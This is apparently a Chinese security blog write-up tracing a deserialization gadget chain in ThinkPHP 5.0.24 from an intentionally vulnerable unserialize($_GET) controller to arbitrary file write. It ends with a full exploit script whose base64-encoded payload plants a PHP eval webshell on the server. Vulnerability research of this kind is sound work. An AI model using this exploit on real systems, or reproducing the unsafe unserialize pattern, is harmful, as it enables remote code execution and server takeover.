ThinkPHP v5.0.24
环境搭建
thinkphp_5.0.24: 官网下载的thinkphp_5.0.24版本,有需要可以自取 (gitee.com)
从gitee下载的源码记得composer update
写一个入口函数
thinkphp_5.0.24/application/index/controller/Index.php
| <?phpnamespace app\index\controller;
 
 class Index
 {
 public function index()
 {
 $patton = unserialize($_GET['patton']);
 var_dump($patton);
 }
 
 }
 
 | 
反序列化分析
反序列化链调用过程
| File.php:160, think\cache\driver\File->set()Memcache.php:94, think\session\driver\Memcache->write()
 Output.php:154, think\console\Output->write()
 Output.php:143, think\console\Output->writeln()
 Output.php:124, think\console\Output->block()
 Output.php:212, call_user_func_array()
 Output.php:212, think\console\Output->__call()
 Model.php:912, think\console\Output->getAttr()
 Model.php:912, think\Model->toArray()
 Model.php:936, think\Model->toJson()
 Model.php:2267, think\Model->__toString()
 Windows.php:163, file_exists()
 Windows.php:163, think\process\pipes\Windows->removeFiles()
 Windows.php:59, think\process\pipes\Windows->__destruct()
 Index.php:14, app\index\controller\Index->hello()
 
 | 
前人栽树,后人乘凉,我们直接找到反序列化链的入口文件,从该类的__destruct方法开始寻找

然后跳转到removeFiles

执行file_exists()时$filename会被当做字符串,因此我们可以通过file_exists()函数触发__toString()函数
全局搜搜function__toString
选择Model.php

然后跟进toJson方法

接着跳转到toArray
| public function toArray(){
 $item    = [];
 $visible = [];
 $hidden  = [];
 
 $data = array_merge($this->data, $this->relation);
 
 
 if (!empty($this->visible)) {
 $array = $this->parseAttr($this->visible, $visible);
 $data  = array_intersect_key($data, array_flip($array));
 } elseif (!empty($this->hidden)) {
 $array = $this->parseAttr($this->hidden, $hidden, false);
 $data  = array_diff_key($data, array_flip($array));
 }
 
 foreach ($data as $key => $val) {
 if ($val instanceof Model || $val instanceof ModelCollection) {
 
 $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
 } elseif (is_array($val) && reset($val) instanceof Model) {
 
 $arr = [];
 foreach ($val as $k => $value) {
 $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
 }
 $item[$key] = $arr;
 } else {
 
 $item[$key] = $this->getAttr($key);
 }
 }
 
 if (!empty($this->append)) {
 foreach ($this->append as $key => $name) {
 if (is_array($name)) {
 
 $relation   = $this->getAttr($key);
 $item[$key] = $relation->append($name)->toArray();
 } elseif (strpos($name, '.')) {
 list($key, $attr) = explode('.', $name);
 
 $relation   = $this->getAttr($key);
 $item[$key] = $relation->append([$attr])->toArray();
 } else {
 $relation = Loader::parseName($name, 1, false);
 if (method_exists($this, $relation)) {
 $modelRelation = $this->$relation();
 $value         = $this->getRelationData($modelRelation);
 
 if (method_exists($modelRelation, 'getBindAttr')) {
 $bindAttr = $modelRelation->getBindAttr();
 if ($bindAttr) {
 foreach ($bindAttr as $key => $attr) {
 $key = is_numeric($key) ? $attr : $key;
 if (isset($this->data[$key])) {
 throw new Exception('bind attr has exists:' . $key);
 } else {
 $item[$key] = $value ? $value->getAttr($attr) : null;
 }
 }
 continue;
 }
 }
 $item[$name] = $value;
 } else {
 $item[$name] = $this->getAttr($name);
 }
 }
 }
 }
 return !empty($item) ? $item : [];
 }
 
 | 
在912行看见$ value调用了一个getAttr()方法,如果 $value可控的话,我们就可以通过控制$value调用__call()方法。

发现902行$value是由getRelationData()的返回值进行赋值的,我们跟入getRelationData()函数

getRelationData函数
| protected function getRelationData(Relation $modelRelation){
 if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
 $value = $this->parent;
 } else {
 
 if (method_exists($modelRelation, 'getRelation')) {
 $value = $modelRelation->getRelation();
 } else {
 throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
 }
 }
 return $value;
 }
 
 | 
如果我们传入的参数为Relation类且满足if分支的条件,那$value就会由      $this->parent的值决定
那么我们分析if的条件
跟进isSelfRelation函数

可控
跟进getModel函数

$query可控,因此此时我们需要查找哪个类的getModel()可控,在这里找到了thinkphp/library/think/db/Query.php类,跟进thinkphp/library/think/db/Query.php类

至此三个条件都可控,接下来我们需要判断是否能传入一个Relation类的参数
回到刚刚,发现调用getRelationData()函数时传入的是$modelRelation变量

跟进$relation()发现$relation()函数是根据$relation的值进行调用的并且要满足method_exists()函数,跟进parseName()
| public static function parseName($name, $type = 0, $ucfirst = true){
 if ($type) {
 $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {
 return strtoupper($match[1]);
 }, $name);
 
 return $ucfirst ? ucfirst($name) : lcfirst($name);
 }
 
 return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
 }
 
 | 
parseName()函数只对传进来的$name做了一些大小写替换,没有实质上的过滤操作,因此$name可控,$relation可控    
$relation可控的前提下我们要满足method_exists()函数就需要我们将relation的值设定为\think\Model拥有的方法,在这里我们选择的是getError()方法。主要是$this->error可控,这样我们不仅满足了method_exists()函数,还让$modelRelation可控,这样$value也就可控了

想要$value可控的前提首先需要满足两个if判断

第一个if条件需要满足$modelRelation存在getBindAttr()函数,并且$bindAttr变量由getBindAttr()函数返回值决定,发现OneToOne中存在且OneToOne是Relation类的子类、$this->bindAttr可控

跟进OneToOne.php,发现OneToOne是个抽象类,无法生成实例,发现HasOne类继承了OneToOne类,因此我们可以令$modelRelation的值为HasOne,此时便可满足第一个if条件,由于$this->bindAttr可控,因此我们也能满足第二个if条件

我们继续跟进,发现$attr变量由$bindAttr决定,且$attr变量用于912行的$value->getAttr()中,因此$value->getAttr($attr)可控,所以我们可以根据$value->getAttr($attr)调用__call()方法,此时我们需要寻找能写webshell的__call()方法,在这里选择的是think\console\Output类

在这里$method和$this->styles是可控的,array_unshift()对调用block()方法没有影响,因此我们跟进block()方法

继续跟进writeln

继续跟进write

在这里$this->handle是可控的,我们寻找能写webshell的write()方法,此次选择了 think\session\driver\Memcache类
| public function write($sessID, $sessData){
 return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
 }
 
 | 
在这里$this->handler又是可控的,我们继续寻找能写webshell的set()方法,此次选择了think\cache\driver\File 类,我们可以看到think\cache\driver\File 类的set()方法通过file_put_contents()将$data写进了文件,我们跟入$data和$filename

发现$filename的值是由getCacheKey()方法决定的,我们跟进getCacheKey()函数

$filename的后缀是写死的,为php,并且文件名的一部分可控,这时如果$data可控的话就可以getshell了。我们跟进$data,发现$data最终是由think\console\Output类的write()方法决定的,$data的值为true

虽然能写入php文件但是内容不可控,继续跟进发现

尝试跟进setTagItem,这次的$key是可控的,$value由之前的$filename决定,这也意味着我们可以通过setTagItem()再一次的写入php文件进行getshell

至此pop链分析完毕。
EXP
| <?phpnamespace think\process\pipes;
 class Windows
 {
 private $files = [];
 public function __construct()
 {
 $this->files = [new \think\model\Merge];
 }
 }
 
 namespace think\model;
 use think\Model;
 
 class Merge extends Model
 {
 protected $append = [];
 protected $error;
 
 public function __construct()
 {
 $this->append = [
 'bb' => 'getError'
 ];
 $this->error = (new \think\model\relation\BelongsTo);
 }
 }
 namespace think;
 class Model{}
 
 namespace think\console;
 class Output
 {
 protected $styles = [];
 private $handle = null;
 public function __construct()
 {
 $this->styles = ['removeWhereField'];
 $this->handle = (new \think\session\driver\Memcache);
 }
 }
 
 namespace think\model\relation;
 class BelongsTo
 {
 protected $query;
 public function __construct()
 {
 $this->query = (new \think\console\Output);
 }
 }
 
 namespace think\session\driver;
 class Memcache
 {
 protected $handler = null;
 public function __construct()
 {
 $this->handler = (new \think\cache\driver\Memcached);
 }
 }
 namespace think\cache\driver;
 class File
 {
 protected $tag;
 protected $options = [];
 public function __construct()
 {
 $this->tag = false;
 $this->options = [
 'expire'        => 3600,
 'cache_subdir'  => false,
 'prefix'        => '',
 'data_compress' => false,
 'path'          => 'php://filter/convert.base64-decode/resource=./',
 ];
 }
 }
 
 class Memcached
 {
 protected $tag;
 protected $options = [];
 protected $handler = null;
 
 public function __construct()
 {
 $this->tag = true;
 $this->options = [
 'expire'   => 0,
 'prefix'   => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
 ];
 $this->handler = (new File);
 }
 }
 echo base64_encode(serialize(new \think\process\pipes\Windows));
 
 | 
会在根目录生成一个shell
